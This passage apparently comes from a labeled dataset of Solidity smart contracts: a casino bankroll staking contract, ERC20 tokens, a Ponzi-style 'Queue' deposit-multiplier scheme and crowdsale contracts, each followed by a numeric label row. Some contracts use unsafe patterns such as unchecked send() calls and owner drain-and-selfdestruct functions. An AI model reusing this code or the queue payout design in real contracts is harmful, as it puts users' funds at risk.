uint numSH = numHolders;
for (uint8 i = 0; i < to.length; i++) {
newTotalStakes = safeSub(safeAdd(newTotalStakes, value[i]), depositGasCost);
if(addDeposit(to[i], value[i], numSH, 0))
numSH = safeAdd(numSH, 1);
}
numHolders = numSH;
assert(newTotalStakes < tokenBalance());
totalStakes = newTotalStakes;
}
function addDeposit(address to, uint value, uint numSH, uint allowedMax) internal returns (bool newHolder) {
require(value > 0);
uint newStake = safeSub(safeAdd(stakes[to], value), depositGasCost);
require(newStake >= minStakingAmount);
if(allowedMax > 0){
require(newStake <= allowedMax);
assert(token.transferFrom(to, address(this), value));
}
if(stakes[to] == 0){
addHolder(to, numSH);
newHolder = true;
}
stakes[to] = newStake;
emit StakeUpdate(to, newStake);
}
function useAsBankroll() public onlyAuthorized depositPhase {
initialStakes[cycle] = totalStakes;
totalStakes = 0;
assert(token.transfer(address(casino), initialStakes[cycle]));
}
function startNextCycle() public onlyAuthorized {
require(finalStakes[cycle] > 0);
cycle = safeAdd(cycle, 1);
}
function closeCycle(uint value) public onlyAuthorized bankrollPhase {
require(tokenBalance() >= value);
finalStakes[cycle] = safeSub(value, safeMul(updateGasCost, numHolders)/100);
}
function updateUserShares() public onlyAuthorized updatePhase {
uint limit = safeAdd(lastUpdateIndex[cycle], maxUpdates);
if(limit >= numHolders) {
limit = numHolders;
totalStakes = finalStakes[cycle];
if (cycle > 1) {
lastUpdateIndex[cycle - 1] = 0;
}
}
address holder;
uint newStake;
for(uint i = lastUpdateIndex[cycle]; i < limit; i++){
holder = stakeholders[i];
newStake = computeFinalStake(stakes[holder]);
stakes[holder] = newStake;
emit StakeUpdate(holder, newStake);
}
lastUpdateIndex[cycle] = limit;
}
function unlockWithdrawals(uint value) public onlyOwner {
require(value <= tokenBalance());
totalStakes = value;
}
function withdraw(address to, uint value, uint index) public withdrawPhase{
makeWithdrawal(msg.sender, to, value, index);
}
function withdrawFor(address to, uint value, uint index, uint8 v, bytes32 r, bytes32 s) public onlyAuthorized withdrawPhase{
address from = ecrecover(keccak256(to, value, cycle), v, r, s);
makeWithdrawal(from, to, value, index);
}
function makeWithdrawal(address from, address to, uint value, uint index) internal{
if(value == stakes[from]){
stakes[from] = 0;
removeHolder(from, index);
emit StakeUpdate(from, 0);
}
else{
uint newStake = safeSub(stakes[from], value);
require(newStake >= minStakingAmount);
stakes[from] = newStake;
emit StakeUpdate(from, newStake);
}
totalStakes = safeSub(totalStakes, value);
assert(token.transfer(to, safeSub(value, withdrawGasCost)));
}
function withdrawExcess() public onlyAuthorized {
uint value = safeSub(tokenBalance(), totalStakes);
token.transfer(owner, value);
}
function kill() public onlyOwner {
assert(token.transfer(owner, tokenBalance()));
selfdestruct(owner);
}
function tokenBalance() public view returns(uint) {
return token.balanceOf(address(this));
}
function addHolder(address holder, uint numSH) internal{
if(numSH < stakeholders.length)
stakeholders[numSH] = holder;
else
stakeholders.push(holder);
}
function removeHolder(address holder, uint index) internal{
require(stakeholders[index] == holder);
numHolders = safeSub(numHolders, 1);
stakeholders[index] = stakeholders[numHolders];
}
function computeFinalStake(uint initialStake) internal view returns(uint) {
return safeMul(initialStake, finalStakes[cycle]) / initialStakes[cycle];
}
function verifySignature(address to, uint value, uint8 v, bytes32 r, bytes32 s) internal view returns(bool) {
address signer = ecrecover(keccak256(to, value, cycle), v, r, s);
return casino.authorized(signer);
}
function getPhase() internal view returns (StatePhases) {
if (initialStakes[cycle] == 0) {
return StatePhases.deposit;
} else if (finalStakes[cycle] == 0) {
return StatePhases.bankroll;
} else if (totalStakes == 0) {
return StatePhases.update;
}
return StatePhases.withdraw;
}
modifier onlyAuthorized {
require(casino.authorized(msg.sender));
_;
}
modifier depositPhase {
require(getPhase() == StatePhases.deposit);
_;
}
modifier bankrollPhase {
require(getPhase() == StatePhases.bankroll);
_;
}
modifier updatePhase {
require(getPhase() == StatePhases.update);
_;
}
modifier withdrawPhase {
require(getPhase() == StatePhases.withdraw);
_;
}
}
| 1 | 4,200 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract LiteToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function LiteToken() public {
symbol = "LTN";
name = "LiteToken Token";
decimals = 4;
_totalSupply = 84000000000000;
balances[0x186d32c30f1DeFfF1eeDb34Ee661426918243545] = _totalSupply;
emit Transfer(address(0), 0x186d32c30f1DeFfF1eeDb34Ee661426918243545, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
}
| 1 | 3,236 |
pragma solidity ^0.4.25;
contract Queue {
address constant private PROMO1 = 0x0569E1777f2a7247D27375DB1c6c2AF9CE9a9C15;
address constant private PROMO2 = 0xF892380E9880Ad0843bB9600D060BA744365EaDf;
address constant private PROMO3 = 0x35aAF2c74F173173d28d1A7ce9d255f639ac1625;
address constant private PRIZE = 0xa93E50526B63760ccB5fAD6F5107FA70d36ABC8b;
uint constant public PROMO_PERCENT = 2;
uint constant public BONUS_PERCENT = 3;
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
function () public payable {
require(block.number >= 6643235);
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.05 ether && msg.value <= 10 ether);
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
uint promo1 = msg.value*PROMO_PERCENT/100;
PROMO1.send(promo1);
uint promo2 = msg.value*PROMO_PERCENT/100;
PROMO2.send(promo2);
uint promo3 = msg.value*PROMO_PERCENT/100;
PROMO3.send(promo3);
uint prize = msg.value*BONUS_PERCENT/100;
PRIZE.send(prize);
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = 120;
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.send(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.send(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
}
| 1 | 2,076 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DisableSelfTransfer is StandardToken {
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(this));
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(this));
return super.transferFrom(_from, _to, _value);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract OwnerContract is Ownable {
event ContractControllerAdded(address contractAddress);
event ContractControllerRemoved(address contractAddress);
mapping (address => bool) internal contracts;
modifier justOwner() {
require(msg.sender == owner);
_;
}
modifier onlyOwner() {
if (msg.sender == address(0) || (msg.sender != owner && !contracts[msg.sender])) {
revert();
}
_;
}
modifier onlyContract() {
require(msg.sender != address(0));
require(contracts[msg.sender]);
_;
}
function removeController(address controllerToRemove) public justOwner {
require(contracts[controllerToRemove]);
contracts[controllerToRemove] = false;
emit ContractControllerRemoved(controllerToRemove);
}
function addController(address newController) public justOwner {
require(contracts[newController] != true);
contracts[newController] = true;
emit ContractControllerAdded(newController);
}
function isController(address _address) public view returns(bool) {
return contracts[_address];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract MintableContractOwnerToken is PausableToken, MintableToken, BurnableToken, OwnerContract, DisableSelfTransfer {
bool burnAllowed = false;
event MintRestarted();
event ContractTransfer(address from, address to, uint value);
event BurningStateChange(bool canBurn);
modifier cantMint() {
require(mintingFinished);
_;
}
modifier canBurn() {
require(burnAllowed);
_;
}
modifier cantBurn() {
require(!burnAllowed);
_;
}
function enableBurning() public onlyContract cantBurn {
burnAllowed = true;
BurningStateChange(burnAllowed);
}
function disableBurning() public onlyContract canBurn {
burnAllowed = false;
BurningStateChange(burnAllowed);
}
function burn(uint256 _value) public canBurn {
super.burn(_value);
}
function restartMinting() onlyContract cantMint public returns (bool) {
mintingFinished = false;
MintRestarted();
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
return super.finishMinting();
}
function contractTransfer(address _from, address _to, uint256 _value) public onlyContract returns (bool) {
require(_from != address(0));
require(_to != address(0));
require(_value > 0);
require(_value <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
ContractTransfer(_from, _to, _value);
Transfer(_from, _to, _value);
return true;
}
}
contract MensariiCoin is MintableContractOwnerToken {
string public name = "Mensarii Coin";
string public symbol = "MII";
uint8 public decimals = 18;
function MensariiCoin() public {
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
mapping (address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 public goal;
RefundVault public vault;
function RefundableCrowdsale(uint256 _goal) public {
require(_goal > 0);
vault = new RefundVault(wallet);
goal = _goal;
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= goal;
}
function finalization() internal {
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
super.finalization();
}
function _forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
function CappedCrowdsale(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MensariiCrowdsale is CappedCrowdsale, TimedCrowdsale, RefundableCrowdsale, MintedCrowdsale {
function MensariiCrowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, uint256 _goal, uint256 _cap, address _wallet, MintableToken _token) public
CappedCrowdsale(_cap)
FinalizableCrowdsale()
RefundableCrowdsale(_goal)
TimedCrowdsale(_startTime, _endTime)
Crowdsale(_rate, _wallet, _token)
{
require(_goal <= _cap);
}
function isOpen() view public returns (bool){
return now >= openingTime && now <= closingTime;
}
}
| 0 | 1,540 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
